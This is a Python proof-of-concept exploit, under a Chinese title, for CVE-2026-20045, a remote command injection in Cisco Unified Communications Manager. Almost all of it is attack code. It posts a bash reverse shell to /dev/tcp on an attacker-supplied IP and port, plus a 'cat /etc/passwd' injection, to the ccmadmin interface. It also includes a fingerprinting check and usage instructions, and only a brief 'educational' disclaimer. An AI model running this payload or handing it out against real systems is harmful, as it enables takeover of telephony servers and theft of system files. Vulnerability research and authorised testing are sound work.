CVE-2026-20045 Cisco统一通信产品远程命令执行漏洞

#!/usr/bin/env python3 """ CVE-2026-20045 PoC - Cisco Unified CM Command Injection Note: This is a demonstration script for educational purposes only. Use only in authorized security testing environments. """ import requests import sys def exploit_cisco_unified_cm(target_url, attacker_ip, attacker_port): """ Exploit CVE-2026-20045 in Cisco Unified Communications Manager Args: target_url: Base URL of the vulnerable Cisco Unified CM attacker_ip: Attacker controlled IP for reverse shell attacker_port: Attacker listening port for reverse shell """ # Target endpoint - web-based management interface endpoint = f"{target_url}/ccmadmin/showDialPlanPattern.do" # Malicious payload for command injection # This exploits improper input validation in HTTP requests reverse_shell_payload = f"$(bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1)" # HTTP headers with injected command headers = { 'User-Agent': 'Mozilla/5.0 (compatible; Cisco-WebEx/1.0)', 'Content-Type': 'application/x-www-form-urlencoded', 'DialPattern': reverse_shell_payload, # Vulnerable parameter 'PatternName': 'test; cat /etc/passwd', # Additional test payload } try: print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2026-20045...") # Send crafted HTTP request response = requests.post(endpoint, headers=headers, timeout=10, verify=False) print(f"[+] Request sent to {endpoint}") print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] Payload delivered - Check for reverse shell connection") else: print("[-] Unexpected response - Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False return True def check_vulnerability(target_url): """ Check if target is potentially vulnerable to CVE-2026-20045 """ # Check for Cisco Unified CM version disclosure check_url = f"{target_url}/ccmadmin/about.do" try: response = requests.get(check_url, timeout=10, verify=False) # Look for version information in response if 'Unified CM' in response.text or 'Cisco' in response.text: print("[+] Target appears to be Cisco Unified CM") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2026-20045.py <target_url> <attacker_ip> <attacker_port>") print("Example: python3 cve-2026-20045.py https://vulnerable-cucm.local 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() exploit_cisco_unified_cm(target, ip, port)